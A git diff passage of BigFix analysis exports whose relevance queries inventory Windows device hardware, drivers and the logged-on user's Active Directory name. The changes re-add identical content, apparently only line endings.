+++ b/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Devices
-  ID       : 50
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-11-29T10:32:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Devices</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 29 Nov 2012 16:33:35 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Active Devices" EvaluationPeriod="P7D">(if exists ( position 1000 of it ) then ( preceding text of position 1000 of it ) else it) of concatenation &quot;, &quot; of unique values of friendly names whose (it as string does not contain &quot;ATA Channel&quot; AND it as string does not contain &quot; (LPT&quot; AND it as string does not contain &quot; (COM&quot; AND it as string does not contain &quot;Pseudo-Interface&quot; AND it as string does not contain &quot;Microsoft ISATAP&quot; AND it as string does not contain &quot;VirtualBox&quot; AND (it as string does not contain &quot;Miniport&quot; OR it as string contains &quot;Intel&quot;)) of active devices</Property>
-    <Property ID="2" Name="Bluetooth" EvaluationPeriod="P2D">if exists (friendly names whose (it contains &quot;Bluetooth&quot;) of active devices) then (concatenation &quot;, &quot; of unique values of friendly names whose (it contains &quot;Bluetooth&quot;) of active devices) else &quot;No Bluetooth installed&quot;</Property>
-    <Property ID="3" Name="Inactive Devices" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of ((if (exists property &quot;Name&quot; of it) then property &quot;Name&quot; of it as string else &quot;&lt;none&gt;&quot;) &amp; &quot; - &quot; &amp; property &quot;DeviceID&quot; of it as string) of select objects &quot;Name,DeviceID FROM Win32_PnPEntity WHERE ConfigManagerErrorCode &lt;&gt; 0&quot; of wmi</Property>
-    <Property ID="4" Name="Video Card" EvaluationPeriod="P7D">concatenation &quot;, &quot; of unique values of (selects &quot;Name, DriverVersion, AdapterRam from Win32_VideoController&quot; of wmi as string)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Devices
+  ID       : 50
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-11-29T10:32:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Devices</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Nov 2012 16:33:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Active Devices" EvaluationPeriod="P7D">(if exists ( position 1000 of it ) then ( preceding text of position 1000 of it ) else it) of concatenation &quot;, &quot; of unique values of friendly names whose (it as string does not contain &quot;ATA Channel&quot; AND it as string does not contain &quot; (LPT&quot; AND it as string does not contain &quot; (COM&quot; AND it as string does not contain &quot;Pseudo-Interface&quot; AND it as string does not contain &quot;Microsoft ISATAP&quot; AND it as string does not contain &quot;VirtualBox&quot; AND (it as string does not contain &quot;Miniport&quot; OR it as string contains &quot;Intel&quot;)) of active devices</Property>
+    <Property ID="2" Name="Bluetooth" EvaluationPeriod="P2D">if exists (friendly names whose (it contains &quot;Bluetooth&quot;) of active devices) then (concatenation &quot;, &quot; of unique values of friendly names whose (it contains &quot;Bluetooth&quot;) of active devices) else &quot;No Bluetooth installed&quot;</Property>
+    <Property ID="3" Name="Inactive Devices" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of ((if (exists property &quot;Name&quot; of it) then property &quot;Name&quot; of it as string else &quot;&lt;none&gt;&quot;) &amp; &quot; - &quot; &amp; property &quot;DeviceID&quot; of it as string) of select objects &quot;Name,DeviceID FROM Win32_PnPEntity WHERE ConfigManagerErrorCode &lt;&gt; 0&quot; of wmi</Property>
+    <Property ID="4" Name="Video Card" EvaluationPeriod="P7D">concatenation &quot;, &quot; of unique values of (selects &quot;Name, DriverVersion, AdapterRam from Win32_VideoController&quot; of wmi as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes b/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes
index 86b8ae606..83477bda6 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Devices - Windows (2994709).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Devices - Windows
-  ID       : 2994709
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-09-03T11:47:03
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Devices - Windows</Title>
-    <Description><![CDATA[<P>This is a work in progress.</P>
-<P>This analysis attempts to pull back a lot of data about devices on a Windows system.</P>
-<P>Latest version found here: <A href="http://bigfix.me/analysis/details/2994593"><FONT color=#000080>http://bigfix.me/analysis/details/2994593</FONT></A></P>
-<P>See this relevance for raw data from the "active devices" inspector: <A href="http://bigfix.me/relevance/details/2998470"><FONT color=#000080>http://bigfix.me/relevance/details/2998470</FONT></A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists wmi) OR (exists active devices)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 25 Aug 2014 19:58:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Active Devices" EvaluationPeriod="P2D">unique values of friendly names whose (it as string does not contain &quot;ATA Channel&quot; AND it as string does not contain &quot; (LPT&quot; AND it as string does not contain &quot; (COM&quot; AND it as string does not contain &quot;Pseudo-Interface&quot; AND it as string does not contain &quot;Microsoft ISATAP&quot; AND it as string does not contain &quot;VirtualBox&quot; AND (it as string does not contain &quot;Miniport&quot; OR it as string contains &quot;Intel&quot;)) of active devices</Property>
-    <Property ID="2" Name="Bluetooth" EvaluationPeriod="P2D">if exists (friendly names whose (it as lowercase contains &quot;bluetooth&quot;) of active devices) then (unique values of friendly names whose (it as lowercase contains &quot;bluetooth&quot;) of active devices) else ERROR &quot;no Bluetooth installed&quot;</Property>
-    <Property ID="3" Name="Inactive Devices" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of ((if (exists property &quot;Name&quot; of it) then property &quot;Name&quot; of it as string else &quot;&lt;none&gt;&quot;) &amp; &quot; - &quot; &amp; property &quot;DeviceID&quot; of it as string) of select objects &quot;Name,DeviceID FROM Win32_PnPEntity WHERE ConfigManagerErrorCode &lt;&gt; 0&quot; of wmi</Property>
-    <Property ID="4" Name="Video Card (WMI)" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of (selects &quot;Name, DriverVersion, AdapterRam from Win32_VideoController&quot; of wmi as string)</Property>
-    <Property ID="5" Name="OEM INF info" EvaluationPeriod="P7D">((name of it), following texts of firsts &quot;=&quot; of unique values whose(it as lowercase does not contain &quot;%25provider%25&quot; AND it as lowercase does not contain &quot;%25providername%25&quot;) of (lines whose(it as string as lowercase starts with &quot;provider&quot;) of it as string) as trimmed string, following texts of firsts &quot;=&quot; of unique values of (lines whose(it as string as lowercase starts with &quot;class&quot; AND it as string as lowercase does not start with &quot;classguid&quot;) of it as string) as trimmed string, unique values of (lines whose(it as string as lowercase starts with &quot;driverver&quot; AND it as string as lowercase does not start with &quot;driverversion&quot;) of it as string)) of (files whose(name of it as lowercase starts with &quot;oem&quot; AND name of it as lowercase ends with &quot;.inf&quot;) of folder &quot;Inf&quot; of windows folder)</Property>
-    <Property ID="6" Name="# of OEM INFs" EvaluationPeriod="P2D">number of files whose(name of it as lowercase starts with &quot;oem&quot; AND name of it as lowercase ends with &quot;.inf&quot;) of folder &quot;Inf&quot; of windows folder</Property>
-    <Property ID="7" Name="USB Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is very slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of (string values whose (it != &quot;Generic volume&quot; AND it != &quot;HID-compliant consumer control device&quot; AND it != &quot;HID-compliant device&quot; AND it != &quot;USB Composite Device&quot; AND it != &quot;Generic USB Hub&quot; AND it != &quot;USB Input Device&quot; AND it does not start with &quot;USB Root Hub&quot;) of selects ((&quot;Caption from Win32_PnPEntity where DeviceID=&apos;&quot; &amp; it as string &amp; &quot;&apos;&quot;) of preceding texts of lasts &quot;%22&quot; of following texts of lasts &quot;=%22&quot; of (string values of selects &quot;Dependent from Win32_USBControllerDevice&quot; of wmi )) of wmi)</Property>
-    <Property ID="8" Name="PCI Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is very slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of ((if (it starts with &quot;Intel&quot; OR it starts with &quot;Xeon&quot;) then (preceding texts of lasts &quot; - &quot; of it) else it) of string values of selects ((&quot;Caption from Win32_PnPEntity where DeviceID=&apos;&quot; &amp; it as string &amp; &quot;&apos;&quot;) of ((parenthesized part 1 of (matches (regex &quot;^Win32_PnPEntity\.DeviceID\=\%22(.*)\%22&quot;) of string values of it)) of properties whose(string value of it contains &quot;DeviceID=&quot;) of select objects (&quot;DeviceID from Win32_PnPEntity &quot;) of WMI) whose(it starts with &quot;PCI\\VEN_&quot;)) of wmi)</Property>
-    <Property ID="9" Name="All Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of (string values whose (it does not start with &quot;WAN Miniport (&quot; AND it does not start with &quot;Generic volume&quot; AND it != &quot;HID-compliant consumer control device&quot; AND it != &quot;HID-compliant device&quot; AND it != &quot;USB Composite Device&quot; AND it != &quot;Generic USB Hub&quot; AND it != &quot;USB Input Device&quot; AND it does not start with &quot;USB Root Hub&quot;) of selects (&quot;Caption from Win32_PnPEntity&quot;) of wmi)</Property>
-    <Property ID="10" Name="# of devices" EvaluationPeriod="P2D">unique values of (number of active devices; number of (selects (&quot;DeviceID from Win32_PnPEntity&quot;) of wmi))</Property>
-    <Property ID="11" Name="Webcams" EvaluationPeriod="P2D">unique values of friendly names whose(it as lowercase contains &quot;cam&quot;) of active devices</Property>
-    <Property ID="12" Name="Imaging Devices" EvaluationPeriod="P2D">unique values of friendly names of active devices whose(class of it = &quot;Image&quot;)</Property>
-    <Property ID="13" Name="Batteries" EvaluationPeriod="P2D">(if it = 0 then nothing else it) of number of active devices whose(class of it = &quot;Battery&quot;)</Property>
-    <Property ID="14" Name="Webcams &amp; Imaging Devices" EvaluationPeriod="P2D">unique values of ((descriptions of active devices whose(description of it as lowercase contains &quot;cam&quot;));((if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Image&quot;));(friendly names of active devices whose(friendly name of it as lowercase contains &quot;cam&quot;)))</Property>
-    <Property ID="15" Name="Microphones" EvaluationPeriod="P2D">(preceding texts of lasts &quot;)&quot; of following texts of firsts &quot;(&quot; of it) of friendly names whose(it starts with &quot;Microphone&quot; AND it does not contain &quot;High Definition Audio Device&quot; AND it does not contain &quot;IDT High Definition Audio CODEC&quot; AND it does not contain &quot;Realtek High Definition Audio&quot;) of active devices whose(class of it = &quot;AudioEndpoint&quot;)</Property>
-    <Property ID="16" Name="Video Cards" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Display&quot;)</Property>
-    <Property ID="17" Name="Keyboards" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Keyboard&quot;)</Property>
-    <Property ID="18" Name="USB Audio" EvaluationPeriod="P2D">(if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;MEDIA&quot; AND service key value name of it = &quot;usbaudio&quot;)</Property>
-    <Property ID="19" Name="Monitors" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Monitor&quot;)</Property>
-    <Property ID="20" Name="Printers ???" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Printer&quot;)</Property>
-    <Property ID="21" Name="Security Devices (TPM)" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;SecurityDevices&quot;)</Property>
-    <Property ID="22" Name="# of Monitors" EvaluationPeriod="P2D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
-    <Property ID="23" Name="HardwareIDs of Active Devices" EvaluationPeriod="P2D">unique values of hardware ids of active devices</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Devices - Windows
+  ID       : 2994709
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-03T11:47:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Devices - Windows</Title>
+    <Description><![CDATA[<P>This is a work in progress.</P>
+<P>This analysis attempts to pull back a lot of data about devices on a Windows system.</P>
+<P>Latest version found here: <A href="http://bigfix.me/analysis/details/2994593"><FONT color=#000080>http://bigfix.me/analysis/details/2994593</FONT></A></P>
+<P>See this relevance for raw data from the "active devices" inspector: <A href="http://bigfix.me/relevance/details/2998470"><FONT color=#000080>http://bigfix.me/relevance/details/2998470</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists wmi) OR (exists active devices)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 25 Aug 2014 19:58:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Active Devices" EvaluationPeriod="P2D">unique values of friendly names whose (it as string does not contain &quot;ATA Channel&quot; AND it as string does not contain &quot; (LPT&quot; AND it as string does not contain &quot; (COM&quot; AND it as string does not contain &quot;Pseudo-Interface&quot; AND it as string does not contain &quot;Microsoft ISATAP&quot; AND it as string does not contain &quot;VirtualBox&quot; AND (it as string does not contain &quot;Miniport&quot; OR it as string contains &quot;Intel&quot;)) of active devices</Property>
+    <Property ID="2" Name="Bluetooth" EvaluationPeriod="P2D">if exists (friendly names whose (it as lowercase contains &quot;bluetooth&quot;) of active devices) then (unique values of friendly names whose (it as lowercase contains &quot;bluetooth&quot;) of active devices) else ERROR &quot;no Bluetooth installed&quot;</Property>
+    <Property ID="3" Name="Inactive Devices" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of ((if (exists property &quot;Name&quot; of it) then property &quot;Name&quot; of it as string else &quot;&lt;none&gt;&quot;) &amp; &quot; - &quot; &amp; property &quot;DeviceID&quot; of it as string) of select objects &quot;Name,DeviceID FROM Win32_PnPEntity WHERE ConfigManagerErrorCode &lt;&gt; 0&quot; of wmi</Property>
+    <Property ID="4" Name="Video Card (WMI)" EvaluationPeriod="P2D">concatenation &quot;, &quot; of unique values of (selects &quot;Name, DriverVersion, AdapterRam from Win32_VideoController&quot; of wmi as string)</Property>
+    <Property ID="5" Name="OEM INF info" EvaluationPeriod="P7D">((name of it), following texts of firsts &quot;=&quot; of unique values whose(it as lowercase does not contain &quot;%25provider%25&quot; AND it as lowercase does not contain &quot;%25providername%25&quot;) of (lines whose(it as string as lowercase starts with &quot;provider&quot;) of it as string) as trimmed string, following texts of firsts &quot;=&quot; of unique values of (lines whose(it as string as lowercase starts with &quot;class&quot; AND it as string as lowercase does not start with &quot;classguid&quot;) of it as string) as trimmed string, unique values of (lines whose(it as string as lowercase starts with &quot;driverver&quot; AND it as string as lowercase does not start with &quot;driverversion&quot;) of it as string)) of (files whose(name of it as lowercase starts with &quot;oem&quot; AND name of it as lowercase ends with &quot;.inf&quot;) of folder &quot;Inf&quot; of windows folder)</Property>
+    <Property ID="6" Name="# of OEM INFs" EvaluationPeriod="P2D">number of files whose(name of it as lowercase starts with &quot;oem&quot; AND name of it as lowercase ends with &quot;.inf&quot;) of folder &quot;Inf&quot; of windows folder</Property>
+    <Property ID="7" Name="USB Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is very slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of (string values whose (it != &quot;Generic volume&quot; AND it != &quot;HID-compliant consumer control device&quot; AND it != &quot;HID-compliant device&quot; AND it != &quot;USB Composite Device&quot; AND it != &quot;Generic USB Hub&quot; AND it != &quot;USB Input Device&quot; AND it does not start with &quot;USB Root Hub&quot;) of selects ((&quot;Caption from Win32_PnPEntity where DeviceID=&apos;&quot; &amp; it as string &amp; &quot;&apos;&quot;) of preceding texts of lasts &quot;%22&quot; of following texts of lasts &quot;=%22&quot; of (string values of selects &quot;Dependent from Win32_USBControllerDevice&quot; of wmi )) of wmi)</Property>
+    <Property ID="8" Name="PCI Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is very slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of ((if (it starts with &quot;Intel&quot; OR it starts with &quot;Xeon&quot;) then (preceding texts of lasts &quot; - &quot; of it) else it) of string values of selects ((&quot;Caption from Win32_PnPEntity where DeviceID=&apos;&quot; &amp; it as string &amp; &quot;&apos;&quot;) of ((parenthesized part 1 of (matches (regex &quot;^Win32_PnPEntity\.DeviceID\=\%22(.*)\%22&quot;) of string values of it)) of properties whose(string value of it contains &quot;DeviceID=&quot;) of select objects (&quot;DeviceID from Win32_PnPEntity &quot;) of WMI) whose(it starts with &quot;PCI\\VEN_&quot;)) of wmi)</Property>
+    <Property ID="9" Name="All Devices (WMI)" EvaluationPeriod="P2D">/* Warning: This is slow, and not recommended for use within a fixlet&apos;s or task&apos;s relevance! */ unique values of (string values whose (it does not start with &quot;WAN Miniport (&quot; AND it does not start with &quot;Generic volume&quot; AND it != &quot;HID-compliant consumer control device&quot; AND it != &quot;HID-compliant device&quot; AND it != &quot;USB Composite Device&quot; AND it != &quot;Generic USB Hub&quot; AND it != &quot;USB Input Device&quot; AND it does not start with &quot;USB Root Hub&quot;) of selects (&quot;Caption from Win32_PnPEntity&quot;) of wmi)</Property>
+    <Property ID="10" Name="# of devices" EvaluationPeriod="P2D">unique values of (number of active devices; number of (selects (&quot;DeviceID from Win32_PnPEntity&quot;) of wmi))</Property>
+    <Property ID="11" Name="Webcams" EvaluationPeriod="P2D">unique values of friendly names whose(it as lowercase contains &quot;cam&quot;) of active devices</Property>
+    <Property ID="12" Name="Imaging Devices" EvaluationPeriod="P2D">unique values of friendly names of active devices whose(class of it = &quot;Image&quot;)</Property>
+    <Property ID="13" Name="Batteries" EvaluationPeriod="P2D">(if it = 0 then nothing else it) of number of active devices whose(class of it = &quot;Battery&quot;)</Property>
+    <Property ID="14" Name="Webcams &amp; Imaging Devices" EvaluationPeriod="P2D">unique values of ((descriptions of active devices whose(description of it as lowercase contains &quot;cam&quot;));((if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Image&quot;));(friendly names of active devices whose(friendly name of it as lowercase contains &quot;cam&quot;)))</Property>
+    <Property ID="15" Name="Microphones" EvaluationPeriod="P2D">(preceding texts of lasts &quot;)&quot; of following texts of firsts &quot;(&quot; of it) of friendly names whose(it starts with &quot;Microphone&quot; AND it does not contain &quot;High Definition Audio Device&quot; AND it does not contain &quot;IDT High Definition Audio CODEC&quot; AND it does not contain &quot;Realtek High Definition Audio&quot;) of active devices whose(class of it = &quot;AudioEndpoint&quot;)</Property>
+    <Property ID="16" Name="Video Cards" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Display&quot;)</Property>
+    <Property ID="17" Name="Keyboards" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Keyboard&quot;)</Property>
+    <Property ID="18" Name="USB Audio" EvaluationPeriod="P2D">(if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;MEDIA&quot; AND service key value name of it = &quot;usbaudio&quot;)</Property>
+    <Property ID="19" Name="Monitors" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="20" Name="Printers ???" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;Printer&quot;)</Property>
+    <Property ID="21" Name="Security Devices (TPM)" EvaluationPeriod="P2D">unique values of (if exists friendly name of it then friendly name of it else if exists description of it then description of it else &quot;NoDescOrFN&quot;) of active devices whose(class of it = &quot;SecurityDevices&quot;)</Property>
+    <Property ID="22" Name="# of Monitors" EvaluationPeriod="P2D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="23" Name="HardwareIDs of Active Devices" EvaluationPeriod="P2D">unique values of hardware ids of active devices</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes b/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes
index 2a8f547b3..2e8688fb1 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Distinguished Name of User (2998580).bes	
@@ -1,24 +1,24 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Distinguished Name of User
-  ID       : 2998580
-  Author   : khurlbert
-  Domain   : BESC
-  Imported : 2018-01-11T14:08:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Distinguished Name of User</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 11 Jan 2018 21:02:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="UserName">if(exists logged on users of active directory) then preceding text of first &quot;OU=&quot; of distinguished name of (logged on users whose (name of it = name of current user) of active directory) else if exists current users then &quot;local user&quot; else &quot;none&quot; </Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Distinguished Name of User
+  ID       : 2998580
+  Author   : khurlbert
+  Domain   : BESC
+  Imported : 2018-01-11T14:08:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Distinguished Name of User</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>Product type of operating system = NT Workstation product type</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 11 Jan 2018 21:02:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="UserName">if(exists logged on users of active directory) then preceding text of first &quot;OU=&quot; of distinguished name of (logged on users whose (name of it = name of current user) of active directory) else if exists current users then &quot;local user&quot; else &quot;none&quot; </Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes b/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes
index 6db567d43..c3f658a68 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Driver Audit - Windows (2994712).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Driver Audit - Windows
-  ID       : 2994712
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-09-03T11:51:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Driver Audit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 28 Aug 2014 15:31:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="5" Name="Number of EPSON trusted publisher certs" EvaluationPeriod="P1D">number of (it) whose(it contains &quot;5345494b4f204550534f4e&quot;) of (values &quot;Blob&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates&quot; of native registry as string)</Property>
-    <Property ID="6" Name="(#, Description) of supported models of installed logitech drivers" EvaluationPeriod="P1D">(multiplicity of it, it) of unique values of (&quot;Logitech &quot; &amp; (it as string)) of (if (it starts with &quot;Logitech &quot;) then (following text of first &quot;Logitech &quot; of it) else it) of (if (it contains &quot;Logitech QuickCam Pro &quot;) then (following text of first &quot;Logitech QuickCam &quot; of it) else it) of (if (it contains &quot;Webcam &quot;) then (following text of first &quot;Webcam &quot; of it) else it) of (if (it contains &quot;)&quot;) then (preceding text of last &quot;)&quot; of it) else it) of (if (it contains &quot;(&quot;) then (following text of first &quot;(&quot; of it) else it) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of following text of first &quot;=&quot; of it) of items 3 of (item 0 of it, item 1 of it, minimum of line numbers of item 2 of it, lines of item 0 of it) whose(((item 1 of it) &lt; line number of item 3 of it) AND ((item 2 of it) &gt; (line number of item 3 of it)) AND (item 3 of it contains &quot;PID_&quot;)) of (item 0 of it, item 1 of it, lines whose(it starts with &quot;[&quot; AND it ends with &quot;]&quot;) of item 0 of it) whose(item 1 of it &lt; line number of item 2 of it) of (it, line number of line whose(it starts with &quot;[Strings]&quot;) of it) of items 0 whose(content of it contains &quot;Logitech&quot;) of (files of item 0 of it, item 1 of it) whose(name of item 0 of it as lowercase = item 1 of it) of (it, (it &amp; &quot;.inf&quot;) of preceding text of first &quot;.inf&quot; of (name of it as lowercase)) of folders whose( ((name of it as lowercase starts with &quot;lv&quot;) OR (name of it as lowercase starts with &quot;lpro&quot;)) AND (name of it as lowercase contains &quot;.inf&quot;) ) of folders &quot;DriverStore\FileRepository&quot; of system x64 folder</Property>
-    <Property ID="7" Name="Names of Scanners of Epson Drivers currently installed in system" EvaluationPeriod="PT12H">keys &quot;DSName&quot; of sections &quot;Strings&quot; of items 0 of (files of item 0 of it, item 1 of it) whose(name of item 0 of it as lowercase = item 1 of it) of (it, (it &amp; &quot;.inf&quot;) of preceding text of first &quot;.inf&quot; of (name of it as lowercase)) of folders whose((name of it as lowercase starts with &quot;es&quot;) AND (name of it as lowercase contains &quot;.inf&quot;)) of folders &quot;DriverStore\FileRepository&quot; of system x64 folder</Property>
-    <Property ID="8" Name="NVIDIA" EvaluationPeriod="P2D">unique values of (it as trimmed string) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of it) of lines whose(it starts with &quot;NVIDIA_DEV&quot;) of files whose(name of it as lowercase ends with &quot;.inf&quot;) of folders whose(name of it as lowercase starts with &quot;nvlewu&quot;) of folders &quot;DriverStore\FileRepository&quot; of system folder</Property>
-    <Property ID="9" Name="Intel" EvaluationPeriod="P2D">unique values of (it as trimmed string) of (preceding text of last &quot;%22&quot; of following text of first &quot;%22&quot; of it) of (concatenation of characters whose (it != &quot;%00&quot;) of it) of lines whose(exists (concatenation of characters whose (it != &quot;%00&quot;) of it) whose(it starts with &quot;i&quot; AND it contains &quot;Intel(R) &quot;)) of files whose(name of it as lowercase ends with &quot;.inf&quot;) of folders whose(name of it as lowercase starts with &quot;igdlh&quot;) of folders &quot;DriverStore\FileRepository&quot; of system folder</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Driver Audit - Windows
+  ID       : 2994712
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-03T11:51:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Driver Audit - Windows</Title>
